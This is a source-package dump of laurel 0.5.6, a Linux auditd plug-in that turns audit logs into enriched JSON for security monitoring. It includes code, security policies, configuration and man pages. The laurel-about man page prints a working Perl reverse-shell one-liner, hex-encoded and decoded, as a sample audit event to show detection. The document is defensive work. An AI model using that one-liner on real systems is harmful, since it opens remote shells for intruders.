bencher::TestOpts::default(); // if let Some(arg) = std::env::args().skip(1).find(|arg| *arg != "--bench") { // test_opts.filter = Some(arg); // } let mut benches = Vec::new(); benches.extend(b()); bencher::run_tests_console(&test_opts, benches).unwrap(); PROFILER.lock().unwrap().stop().unwrap(); } laurel-0.5.6/benches/parse.rs000064400000000000000000000032661046102023000142160ustar 00000000000000#[macro_use] extern crate bencher; extern crate gperftools; use bencher::Bencher; use gperftools::profiler::PROFILER; // use std::process; fn measure(bench: &mut Bencher, line: &[u8]) { let line = line.to_vec(); bench.iter(|| { for _ in 0..1000 { laurel::parser::parse(line.clone(), false).unwrap(); } }); } fn parse_syscall(bench: &mut Bencher) { measure(bench, &br#"node=asdfghjk type=SYSCALL msg=audit(1615114232.123:45678): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid=1492834 pid=1492836 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=1 comm="true" exe="/bin/true" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" "#[..]) } fn parse_execve_short(bench: &mut Bencher) { measure( bench, &br#"node=asdfghjk type=EXECVE msg=audit(1615114232.123:45678): argc=1 a0="true" "#[..], ) } benchmark_group!(b, parse_syscall, parse_execve_short); fn main() { laurel::constants::initialize(); laurel::types::initialize(); let test_opts = bencher::TestOpts::default(); // if let Some(arg) = std::env::args().skip(1).find(|arg| *arg != "--bench") { // test_opts.filter = Some(arg); // } let mut benches = Vec::new(); benches.extend(b()); PROFILER .lock() .unwrap() .start(format!("{}.prof", std::env::args().next().unwrap())) .unwrap(); bencher::run_tests_console(&test_opts, benches).unwrap(); PROFILER.lock().unwrap().stop().unwrap(); } laurel-0.5.6/build.rs000064400000000000000000000123161046102023000125700ustar 00000000000000use std::env; use std::fs; use std::io::prelude::*; use std::io::BufReader; use std::iter::FromIterator; use std::path::Path; use std::string::String; extern crate bindgen; fn gen_syscall() -> Result> { let mut buf = String::new(); for entry in Path::new("syscall-tables").read_dir()? { let p = entry?.path(); let filename = if let Some(f) = p.file_name() { f } else { continue; }; let arch = if let Some(a) = filename .to_string_lossy() .into_owned() .strip_suffix("_table.h") { a.to_string() } else { continue; }; buf.push_str("{ let mut t = HashMap::new(); for (num, name) in &["); // Entries look like // _S(0, "io_setup") // Just get rid of the _S. let defs = BufReader::new(fs::File::open(p)?) .lines() .filter(|line| line.as_ref().unwrap().starts_with("_S(")) .map(|line| line.unwrap()) .map(|line| line.strip_prefix("_S").unwrap().to_string()); for def in defs { buf.push_str(def.as_str()); buf.push(','); } buf.push_str("] { t.insert(*num, *name); } "); buf.push_str(format!(" hm.insert(\"{}\", t); }}\n", &arch).as_str()); } Ok(buf) } fn main() -> Result<(), Box> { let out_dir = env::var_os("OUT_DIR").unwrap(); let dest_path = Path::new(&out_dir).join("const.rs"); let msg_file = "audit-specs/messages/message-dictionary.csv"; let fields_file = "audit-specs/fields/field-dictionary.csv"; let mut constants: Vec<(String, String)> = BufReader::new(fs::File::open(msg_file)?) .lines() .skip(1) // skip over header .map(|line| { line.unwrap() .split(',') .map(|x| x.to_string()) .collect::>() }) .map(|fields| { ( fields[0].strip_prefix("AUDIT_").unwrap().to_string(), fields[1].clone(), ) }) .collect(); // Artificial record constants.push(("PARENT_INFO".into(), "0xffffff00".into())); constants.push(("LABELS".into(), "0xffffff01".into())); constants.push(("CONTAINER_INFO".into(), "0xffffff02".into())); let fields: Vec<(String, String)> = BufReader::new(fs::File::open(fields_file)?) .lines() .skip(3) // skip over heder and regex describing a* mess .map(|line| { line.unwrap() .split(',') .map(|x| x.to_string()) .collect::>() }) .map(|fields| (fields[0].clone(), fields[1].clone())) .collect(); let mut template = Vec::new(); fs::File::open("src/const.rs.in")?.read_to_end(&mut template)?; let template = String::from_utf8(template)?; let buf = template .replace( "/* @EVENT_CONST@ */", &String::from_iter( constants .iter() .map(|(name, value)| format!(r#"("{}", {}), "#, name, value)), ), ) .replace( "/* @FIELD_TYPES@ */", &String::from_iter( fields .iter() .filter(|(_, typ)| typ == "encoded" || typ.starts_with("numeric")) .map(|(name, typ)| match typ.as_str() { "numeric hexadecimal" => format!(r#"("{}", FieldType::NumericHex),"#, name), "numeric decimal" => format!(r#"("{}", FieldType::NumericDec),"#, name), "numeric octal" => format!(r#"("{}", FieldType::NumericOct),"#, name), "numeric" => format!(r#"("{}", FieldType::Numeric),"#, name), "encoded" => format!(r#"("{}", FieldType::Encoded),"#, name), _ => format!(r#"("{}", FieldType::Invalid),"#, name), }), ), ) .replace( "/* @CONSTANTS@ */", &String::from_iter(constants.iter().map(|(name, value)| { format!( "#[allow(dead_code)] pub const {}: MessageType = MessageType({});\n", name, value ) })), ) .replace("/* @SYSCALL_BUILD@ */", &gen_syscall()?) .into_bytes(); fs::write(dest_path, buf)?; #[cfg(target_os = "linux")] bindgen::Builder::default() .header("src/sockaddr.h") .rust_target(bindgen::RustTarget::Stable_1_47) .allowlist_type("^sockaddr_.*") .allowlist_var("^AF_.*") .layout_tests(false) .generate() .expect("unable to generate bindings") .write_to_file(std::path::PathBuf::from(env::var("OUT_DIR").unwrap()).join("sockaddr.rs")) .expect("Couldn't write bindings!"); println!("cargo:rerun-if-changed=build.rs"); println!("cargo:rerun-if-changed=const.rs.in"); #[cfg(target_os = "linux")] println!("cargo:rerun-if-changed=src/sockaddr.h"); println!("cargo:rerun-if-changed={}", msg_file); println!("cargo:rerun-if-changed={}", fields_file); Ok(()) } laurel-0.5.6/contrib/apparmor/config000064400000000000000000000012441046102023000155720ustar 00000000000000abi , include /usr/local/sbin/laurel flags=(attach_disconnected) { include include capability chown, capability dac_read_search, capability fowner, capability fsetid, capability setgid, capability setpcap, capability setuid, capability sys_ptrace, network unix stream, ptrace read, /proc/ r, /proc/*/cgroup r, /proc/*/comm r, /proc/*/environ r, /proc/*/stat r, /usr/local/sbin/laurel mrix, /var/log/laurel/ w, owner /etc/laurel/config.toml r, owner /etc/ld.so.cache r, owner /etc/nsswitch.conf r, owner /etc/passwd r, owner /var/log/laurel/* rw, } laurel-0.5.6/contrib/debug/README.md000064400000000000000000000013431046102023000151260ustar 00000000000000# Debugging Laurel (even in production) The `run-debug.sh` script in this directory is intended to be run from the project root dir by a regular user with sudo privileges. It runs a _laurel_ debug build with a custom configuration. The configuration is built from a template. If the template contained in the script is not good enough, place your own template into `contrib/debug/config.toml.template`. Audit log data is read from a local socket `/var/run/audispd_events`. The _auditd_ `af_unix` plugin has to be enabled for this to work. Edit the configuration file `/etc/audit/plugins.d/af_unix.conf`: ``` active = yes direction = out path = builtin_af_unix type = builtin args = 0644 /var/run/audispd_events format = string ``` laurel-0.5.6/contrib/debug/run-debug.sh000075500000000000000000000024201046102023000160730ustar 00000000000000#!/bin/sh set -eu readonly AUDISPD_EVENTS=/var/run/audispd_events USER=$(id -un) if ! [ -S "$AUDISPD_EVENTS" ]; then echo "Please enable the af_unix plugin (/etc/audit/plugins.d/af_unix.conf" >&2 exit 1 fi config=$(mktemp -t laurel-config.toml.XXXXXXXXXX) trap 'rm -f $config' EXIT sedexpr="s,%USER%,$USER,g; s,%AUDISPD_EVENTS%,$AUDISPD_EVENTS,g" dir=$(dirname "$0") if [ -e "$dir/config.toml.template" ]; then echo "Writing $dir/config.toml.template to $config..." sed "$sedexpr" > "$config" < "$dir/config.toml.template" else echo "Writing internal default template to $config..." sed "$sedexpr" > "$config" < laurel ifdef(`audit3',` gen_require(`type auditd_t;') allow auditd_t laurel_exec_t:file { getattr open read execute entrypoint }; type_transition auditd_t laurel_exec_t:process laurel_t; allow auditd_t auditd_t:capability kill; allow auditd_t laurel_t:process { transition signal }; ') # Transition audispd (auditd 2.x) -> laurel ifdef(`audit2',` gen_require(`type audisp_t;') allow audisp_t laurel_exec_t:file { getattr open read execute entrypoint }; type_transition audisp_t laurel_exec_t:process laurel_t; allow audisp_t audisp_t:capability kill; allow audisp_t laurel_t:process { transition signal }; ') # Set / retain capabilities allow laurel_t self:process { getcap setcap }; # Set permissions at initialization time allow laurel_t self:capability { chown fowner fsetid setuid setgid }; # Inspect process environments, override UNIX read permissions allow laurel_t self:capability { sys_ptrace dac_read_search }; # Write to Syslog logging_send_syslog_msg(laurel_t) # Read from /proc domain_read_all_domains_state(laurel_t) list_dirs_pattern(laurel_t, proc_t, proc_t); # stat() for every file (for enrich.script) files_getattr_all_files(laurel_t) # Access user database or SSSD allow laurel_t passwd_file_t:file { open read }; sssd_read_public_files(laurel_t) sssd_stream_connect(laurel_t) # Read config files read_files_pattern(laurel_t, laurel_etc_t, laurel_etc_t) # Write/rotate log files manage_dirs_pattern(laurel_t, laurel_log_t, laurel_log_t) manage_files_pattern(laurel_t, laurel_log_t, laurel_log_t) manage_lnk_files_pattern(laurel_t, laurel_log_t, laurel_log_t) setattr_files_pattern(laurel_t, laurel_log_t, laurel_log_t) # Mark config, log files files_config_file(laurel_etc_t) logging_log_file(laurel_log_t) # Create log directory with specified label logging_log_filetrans(laurel_t, laurel_log_t, dir) laurel-0.5.6/etc/audit/plugins.d/laurel.conf000064400000000000000000000002011046102023000170300ustar 00000000000000active = yes direction = out type = always format = string path = /usr/local/sbin/laurel args = --config /etc/laurel/config.toml laurel-0.5.6/etc/laurel/config.toml000064400000000000000000000116621046102023000153270ustar 00000000000000# Write log files relative to this directory directory = "/var/log/laurel" # Drop privileges from root to this user user = "_laurel" # The periodical time window in seconds for status information to be printed to Syslog. # Status report includes the running version, config and parsing stats. # Default is 0 --> no status reports. statusreport-period = 0 # By default, audit events are read from stdin ("stdin"). Alternatively, they # can be consumed from an existing UNIX domain socket ("unix:/path/to/socket") input = "stdin" [auditlog] # Base file name for the JSONL-based log file. Set to "-" to log to stdout. In this case # other log file related settings will be ignored. file = "audit.log" # Rotate when log file reaches this size (in bytes) size = 5000000 # When rotating, keep this number of generations around generations = 10 # Grant read permissions on the log files to these users, using # POSIX ACLs read-users = [ "splunk" ] # Add a prefix to every output line. The CEE cookie can be used to # instruct consumers to parse the JSON document, cf. # https://www.rsyslog.com/doc/master/configuration/modules/mmjsonparse.html # line-prefix = "@cee: " # [debug] # dump-state-period = 120 # [debug.log] # file = "debug.log" # size = 1000000 # generations = 3 # [debug.parse-error-log] # file = "parse-error.log" # size = 1000000 # generations = 3 # [filterlog] # # If filter.filter-action is set to "log", filtered events are # # written to this log. It is configured just like [auditlog]. # file = "filtered.log" # size = 1000000 # generations = 3 # read-users = [ "splunk" ] [transform] # "array" (the default) causes EXECVE a0, a1, a2 … arguments to be # output as a list of strings, "ARGV". This is the default, it allows # analysts to reliably reproduce what was executed. # # "string" causes arguments to be concatenated into a single string, # separated by space characters, "ARGV_STR". This form allows for # easier grepping, but it is impossible to tell if space characters in # the resulting string are a separator or were part of an individual # argument in the original command line. execve-argv = [ "array" ] # execve-argv = [ "array", "string" ] # Trim excessively long EXECVE.ARGV and EXECVE.ARGV_STR entries. # Excess is cut from the middle of the argument list and a marker # indicating how many arguments / bytes have been cut is inserted. # execve-argv-limit-bytes = 10000 [translate] # Perform translations of numeric values that can also be done by # auditd if configured with log_format=ENRICHED. # arch, syscall, sockaddr structures universal = false # UID, GID values user-db = false # Drop raw (numeric) syscall, arch, UID, GID values if they are translated drop-raw = false [enrich] # Add context (event-id, comm, exe, ppid) for *pid entries pid = true # List of environment variables to log for every EXECVE event execve-env = [ "LD_PRELOAD", "LD_LIBRARY_PATH" ] # Add container context to SYSCALL-based events container = true # Add script context to SYSCALL execve events script = true # Deprecated. Use pid instead. # parent-info = false [label-process] # Audit records that contain certain keys can be reused as a label # attached to the process. # # This is useful in combination with audit rules such as: # -w -p x -k # e.g.: -w /usr/bin/dpkg -p x -k software_mgmt label-keys = [ "software_mgmt" ] # Labels can be attached to or removed from processes that run certain # programs. The file program file path (SYSCALL.exe or /proc/pid/exe) # is matched against regular expressions. This is useful for programs # that cannot be identified through auditd file watches (-w -p # x -k ). label-exe.'^/opt/.*/bin/java$' = 'java' label-exe.'^/usr/lib/jvm/.*/bin/java$' = 'java' label-exe.'^/snap/amazon-ssm-agent/\d+/' = 'amazon-ssm-agent' unlabel-exe."bin/php$" = "java" # Labels can be attached to or removed from processes that have been identified as # scripts. label-script."^/root/maint-.*[.]sh$" = "maint" # unlabel-script."…" = "maint" # Process Labels can be propagated to spawned child processes. This is # useful for marking an entire subtree of children that have been # spawned within certain contexts (e.g. system management tools, # container runtimes, ssh servers, cron, etc.). propagate-labels = [ "software_mgmt", "amazon-ssm-agent" ] [filter] # When audit records with attached keys are being generated, # LAUREL will discard these. # filter-keys = ["filter-this"] # In addition to key based filtering it is also possible to configure label based # filtering. This alows the possibility to filter based on parent processes. # filter-labels = ["software_mgmt"] # Filter events without specified key filter-null-keys = false # Filter events that were constructed from input lines matching these # regular expressions # filter-raw-lines = [ # "^type=PATH msg=\\S*? item=\\S*? name=\"/var/run/nscd[.]sock\" " # ] # What to do with filtered events? "drop" or "log" to the filterlog # defined above. filter-action = "drop" laurel-0.5.6/laurel.svg000064400000000000000000000434611046102023000131350ustar 00000000000000 image/svg+xml laurel-0.5.6/man/.gitignore000064400000000000000000000000071046102023000136600ustar 00000000000000*.[78] laurel-0.5.6/man/Makefile000064400000000000000000000002651046102023000133360ustar 00000000000000TGTS := laurel.8 laurel-about.7 laurel2audit.8 SRCS := $(patsibst %,%.md,$(TGTS)) .PHONY: all all: $(TGTS) %: %.md pandoc -s -t man -o $@ $^ .PHONY: clean clean: rm -f $(TGTS) laurel-0.5.6/man/laurel-about.7.md000064400000000000000000000263321046102023000147640ustar 00000000000000--- title: laurel - About section: 7 header: System Administration Utilities footer: laurel 0.5.6 --- # NAME laurel-about - High-level description of `laurel(8)` design, rationale, features # DESCRIPTION ## Problem statement While logs produced by the Linux Audit subsystem and _auditd(8)_ contain information that can be very useful for host-based security monitoring, the log format is not well-suited for at-scale analysis in a SIEM. ### Format issues - All non-trivial events are split across multiple lines that have to be joined together using a message identifier, but current search-centric log analysis systems are quite limited when it comes to join operations. - Files and program executions are logged via `PATH` and `EXECVE` elements. The character set for strings is a limited subset of ASCII no escaping mechanism exists: If a string contains bytes that have special meaning in the format (even space or quote characters), the entire string is hex-encoded. - Argument lists are preserved in `EXECVE` records, but with an `a0="…"`, `a1="…"`, `a2="…"`, `a3="…"` naming scheme, they are not easily accessible. - Long command lines may be spread across multiple `EXECVE` event lines. - For numeric values, there is no clear distinction whether they should be interpreted as decimal, octal, or hexadecimal values. ### Missing context Most audit events are based on either system calls or file operations. Whether or not some suspicious actions should be considered harmful, largely depends on the context in which it takes place. For example, one would not expect most web applications to use `netcat` to connect to hosts on the Internet, but an administrator who is logged and over SSH who uses `netcat` to debug network issues should raise fewer suspicions. Unfortunately, the only context that can be added for Linux audit events "keys" using the `-k` parameter of `auditctl(8)`. ### Example Spawning a simple Perl reverse-shell one-liner creates the following 7-line audit log entry that nicely demonstrates some of these shortcomings: ``` type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm="perl" exe="/usr/bin/perl" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B type=CWD msg=audit(1626611363.720:348501): cwd="/root" type=PATH msg=audit(1626611363.720:348501): item=0 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=1 name="/usr/bin/perl" inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1626611363.720:348501): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174 ``` ## Solution In addition to (or instead of) writing log files, `auditd(8)` can pass log lines to one or multiple plug-ins for further processing, see `auditd-plugins(5)`. `laurel(8)` is intended to be run as such a plug-in. It reads the audit logs from standard input, parses them, and writes a modified form of the audit log to a different log file. ### Output format Log records carrying the same event ID (the `msg=audit(TIME:SEQUENCE):` part) are collected into coherent events and output as a JSONlines-based log format. Most importantly, hex-encoded strings are output as regular JSON strings. [RfC8259] mandates that "text exchanged between systems that are not part of a closed ecosystem MUST be encoded using UTF-8", therefore any bytes or byte sequences that are not valid UTF-8 are percent-encoded as described in [RfC3986]. Numbers are parsed as decimal, octal, or hexadecimal values and output in an unambiguous format. List data (`SYSCALL.{a0 … a3}` and `EXECVE.a*`) are turned into JSON arrays. `PROCTITLE.proctitle` is split at NULL bytes and transformed into a list. [RfC8259]: https://datatracker.ietf.org/doc/html/rfc8259 'The JavaScript Object Notation (JSON) Data Interchange Format' [RfC3986]: https://datatracker.ietf.org/doc/html/rfc3986 'Uniform Resource Identifier (URI): Generic Syntax' ### Structure Every audit log line produced by _LAUREL_ is one single JSON object consisting of key/value pairs that contains at least an `ID` field. - `SYSCALL`, `EXECVE`, `CWD`, `PROCTITLE` fields point to single JSON objects. - `PATH`, `SOCKADDR` fields point to lists of JSON objects. Every other kernel-produced audit message not mentioned above results in field pointing to a list of JSON objects. Details may change after the list of kernel audit message types has been reviewed. ### Encoding of invalid UTF-8 strings and binary data - Most byte values that represent printable ASCII characters are reproduced as-is (but are subject to JSON string escaping rules). - Bytes that map to non-printable ASCII characters (less than 32/0x20; 127/0x7f) are percent-encoded. - Byte values that map to `%` (37/0x25) and `+` (42/0x2b) are percent-encoded. - Byte values outside of the ASCII range (greater than 127/0x7f) are reproduced as-is if they are part of a valid UTF-8 sequence. Otherwise, they are percent-encoded. Handling of special Unicode characters may change in the future. ### Translation / Enrichment If `auditd(8)` has been configured with `log_format=ENRICHED`, it translates some numeric values in the original audit data to strings. Per convention, it adds translated information using all-caps versions of the keys. For example, arch=c000003e syscall=59 uid=0 get translated to ARCH=x86_64 SYSCALL=execve UID="root" by `auditd(8)`. All information that is added to records by `laurel(8)` follows the same convention, i.e. keys are turned into all-caps. While `laurel` can be configured to perform the same translations as `auditd(8)`, it can perform other enrichments, including interpreted scripts, collecting specific environment variables, or container information for processes that are run within container environments. ### Adding Context: Process Relationships, Labels While processing audit records `laurel(8)` tracks processes and remembers `comm`, `exe`, and the event ID associated with the latest `execve` event of a process. Processes that are tracked can be assigned labels through various mechanisms and those labels can optionally be propagated to child processes. Mechanisms by which labels can be assigned include: - using the key from an audit event (the `-k` option of `auditctl(8)`) - regular expression applied to the executable path (`SYSCALL.exe` field) - regular expression applied to the script path (`SYSCALL.SCRIPT` field, enriched) The process tracking information can be used to enrich fields containing process ids, including `SYSCALL.{pid, ppid}` and `OBJ_PID.opid` associated with `ptrace` attach or `kill` syscalls. ### Volume reduction: Filtering out events To reduce the high volume of events, it is possible to filter out events by key or by process label. Events that are filtered are still used for process tracking. ### Example The log lines from the Perl reverse shell execution above are processed by `laurel(8)` into the following JSON log line: ``` json {"ID":"1626611363.720:348501","SYSCALL":{"arch":"0xc000003e","syscall":59,"success":"yes","exit":0,"a0":"0x55c094deb5c0","a1":"0x55c094dea770","a2":"0x55c094dbf1b0","a3":"0xfffffffffffff286","items":3,"ppid":722076,"pid":724395,"auid":1000,"uid":0,"gid":0,"euid":0,"suid":0,"fsuid":0,"egid":0,"sgid":0,"fsgid":0,"tty":"pts3","ses":3,"comm":"perl","exe":"/usr/bin/perl","subj":"=unconfined","key":null,"ARCH":"x86_64","SYSCALL":"execve","AUID":"user","UID":"root","GID":"root","EUID":"root","SUID":"root","FSUID":"root","EGID":"root","SGID":"root","FSGID":"root","PPID":{"EVENT_ID":"1626611323.973:348120","exe":"/bin/bash","comm":"bash","ppid":3190631}},"EXECVE":{"argc":3,"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]},"CWD":{"cwd":"/root"},"PATH":[{"item":0,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":1,"name":"/usr/bin/perl","inode":401923,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"},{"item":2,"name":"/lib64/ld-linux-x86-64.so.2","inode":404797,"dev":"fd:01","mode":"0o100755","ouid":0,"ogid":0,"rdev":"00:00","nametype":"NORMAL","cap_fp":"0x0","cap_fi":"0x0","cap_fe":0,"cap_fver":"0x0","cap_frootid":"0","OUID":"root","OGID":"root"}],"PROCTITLE":{"ARGV":["perl","-e","use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_at"]}} ``` ## Audit rule set advice For process tracking to work properly, the kernel should be configured to log all `execve`-like calls and all `fork`-like for processes that are expected to ose `fork` without `execve`, e.g. shells: ``` -a exit,always -F arch=b32 -S execve,execveat -F success=1 -a exit,always -F arch=b64 -S execve,execveat -F success=1 -a exit,always -F arch=b32 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/sh -a exit,always -F arch=b64 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/sh -a exit,always -F arch=b32 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/bash -a exit,always -F arch=b64 -S fork,vfork,clone,clone3 -F success=1 -F exe=/bin/bash # … ``` If the `fork` calls are not needed in the log file, they can be filtered out by assigning a key to those rules in the audit ruleset and adding this key to `filter.filter-keys`. Note that older versions of auditd may not understand all the syscalls. In those cases, it may be necessary to substitute the syscall numbers for the ruleset. # SEE ALSO `laurel(8)`, `auditd(8)`, `audit.rules(7)` # AUTHORS - Hilko Bengen <> - Sergej Schmidt <> laurel-0.5.6/man/laurel.8.md000064400000000000000000000145121046102023000136520ustar 00000000000000--- title: laurel section: 8 header: System Administration Utilities footer: laurel 0.5.6 --- # NAME laurel(8) -- transform, enrich Linux audit logs # SYNOPSIS `laurel` is an `auditd(8)` plug-in that parses Linux audit events, enriches them with local information, and transforms them into a JSONlines-based output format intended for consumption by log processing and SIEM software. # OPTIONS **-c FILE**, **-\-config=FILE** : path to configuration file (default: unset) **-d**, **-\-dry-run** : Only parse configuration and exit **-h**, **-\-help** : Print short help text and exit **-v**, **-\-version** : Print version and exit # DESCRIPTION `laurel` is typically configured to be spawned by `auditd(8)` itself or by `audispd(8)` (for 2.x _auditd_ versions). All audit events are fed to `laurel` via its standard input channel. Sample configuration file `/etc/audit/plugins.d/laurel.conf`: ``` active = yes direction = out type = always format = string path = /usr/sbin/laurel args = --config /etc/laurel/config.toml ``` An alternative setup consists of an AF_UNIX socket to which `auditd(8)` writes events. A connection is then established by `laurel` (see `input` setting below). In this case, the operator is responsible for starting and restarting `laurel`. Example configuration file: ``` active = yes direction = out path = builtin_af_unix type = builtin args = 0600 /var/run/laurel.sock format = string ``` # CONFIGURATION Configuration of `laurel` itself is done through a single configuration file in TOML format. ## main section This section contains basic operation parameters. - `user`: `laurel` is started as `root` by `auditd`, but it drops to a dedicated user as soon as possible. Default: unset - `directory`: The base directory into which all files are written. Default: `.` (current directory) - `statusreport-period`: How often stats are written to Syslog, in seconds. Default: unset - `input`: `laurel` can consume audit events from standard input or connect to a listening socket specified as `unix:/path/to/socket` at start. Defaulkt: `stdin` ## `[auditlog]` section This section describes the main audit log file. `laurel` performs its own log file rotation, just like `auditd(8)`. - `file`: Filename for the audit log file. Default: `audit.log` - `size`: Size in bytes after which the log file is rotated. Default: 10MiB - `generations`: Number of generations to keep after rotation. Default: 5 - `read-users`: List of users that are granted read access to the log file using POSIX ACLs. Default: empty - `line-prefix`: A string that is prepended to every line. Default: unset ## `[filterlog]` section This section describes the log file for filtered-out log events (see below). The `file`, `size`, `generations`, `read-users`, `line-prefix` configuration items work just like for the audit log. ## `[transform]` section - `execve-argv`: The list of `EXECVE.a*` fields are transformed to an `ARGV` list or `ARGV_STR` string. Set to `array`, `string` (or both). Default: `array` - `execve-argv-limit-bytes`: Arguments are cut out of the middle long argument lists in `EXECVE.ARGV` or `EXECVE.ARGV_STR` so that this limit is not exceeded. Default: unset ## `[translate]` section Options that can be configured here correspond to what `auditd(8)` does when configured with `log_format=ENRICHED`. - `userdb`: Add translations for `uid` and `gid` fields. Default: false - `universal`: Add translations for everything else: `SYSCALL.arch`, `SYSCALL.syscall`, `SOCKADDR.saddr` - `drop-raw`: Drop raw (numeric) syscall, arch, UID, GID values if they are translated. Default: false ## `[enrich]` section Options that can be configured here actually add information to events - `execve-env`: A list of environment variables to dump for `exec` events. Default: `["LD_PRELOAD", "LD_LIBRARY_PATH"]` - `container`: Add container information for processes running within container runtimes. Default: true - `pid`: Add context information for process IDs. Default: true - `script`: If an `exec` syscall spawns a script (as opposed to a binary), add a `SCRIPT` entry to the `SYSCALL` record. A script is assumed if the first `PATH` entry does not correspond to file mentioned in `SYSCALL.exe`. Default: true - `parent-info`: Add `PARENT_INFO` record corresponding to `SYSCALL.ppid`. Deprecated, use `pid` configuration option instead in new setups. Default: false ## `[label-process]` section Labels can be attached to processes and are added to any event associated with those processes. These labels can be propagated from parent to child processes. - `label-exe. = `: Regular expressions/label mappings applied to binary executables (`SYSCALL.exe`) on `exec` calls. Default: none - `label-script. = `: Regular expressions/label mappings applied to scripts (`SYSCALL.SCRIPT`, see `enrich.script` description above) on `exec` calls. Default: none - `label-keys`: A list of keys that are applied as a process label, see `auditctl(8)`'s `-k` option. Default: none - `unlabel-exe. = `: Like `label-exe`, but for removing labels - `unlabel-script. = `: Like `label-script`, but for removing labels - `propagate-labels`: List of labels that are propagated to child processes. Default: empty ## `[filter]` section Filters make `laurel` drop entire events from the log file while still using them for internal processing such as process tracking. - `filter-keys`: A list of strings that are matched against `SYSCALL.key` to drop the event. Default: empty - `filter-null-keys`: Filter events without specified key. Default: false - `filter-labels`: A list of strings that are matched against process labels. Default: empty - `filter-raw-lines`: A list of regular expression that are matched against individual input lines as written by `auditd(8)`. Events that contain such lines are then filtered. Default: empty - `filter-action`: What to do with filtered events? `drop` or `log` to the filterlog defined above. # SIGNALS `SIGHUP` causes `laurel` to process any buffered input and restart. It can be used to reconfigure `laurel` without having restarting `auditd(8)` which would likely lead to lost audit messages. # AUTHORS - Hilko Bengen <> - Sergej Schmidt <> laurel-0.5.6/man/laurel2audit.8.md000064400000000000000000000023011046102023000147540ustar 00000000000000--- title: laurel2audit section: 8 header: System Administration Utilities footer: laurel 0.5.6 --- # NAME laurel2audit(8) -- transform Laurel logs to back to original Linux Audit format # SYNOPSIS This is a simple filter that reads logs written by `laurel(8)` and outputs Linux Audit logs that the audit tools and `laurel` itself should be able to digest. # NOTES "Enriched" (i.e. ALL_CAPS) keys in audit records are discarded. `EXECVE` records are output on one, possibly very long, line. If `laurel` has transformed `EXECVE` argument lists to single strings (`ARGV_STR`), that transformation may have been lossy: There is no way to discern space characters as gaps between arguments from space characters as part of individual arguments. An end-of-event (`EOE`) marker is output for every event. This marker is not part of the original `audit.log` file, but it has originally been transmitted by the kernel and is passed by `auditd(8)` to plugins. # BUGS - URL-encoded single bytes within strings are not yet handled. - Possibly more. # SEE ALSO `laurel(8)`, `aulast(8)`, `aulastlog(8)`, `aureport(8)`, `ausearch(8)`, `ausyscall(8)`, `auvirt(8)` # AUTHORS - Hilko Bengen <> laurel-0.5.6/performance.md000064400000000000000000000050111046102023000137400ustar 00000000000000# _LAUREL_ Performance While _LAUREL_ was written with performance in mind, running it on busy systems with audit rule sets that actually produce log entries does incur some CPU overhead. We have conducted benchmarks of _LAUREL_ against _auditd_ and several other tools. A load generator that spawns trivial processes (`/bin/true`) at a set frequency was used to generate load and CPU time (system+user) for all processes involved was measured. The number of exec events per second was chosen due to our experience with systems where hundreds of processes are spawned during regular operation. A custom tool, 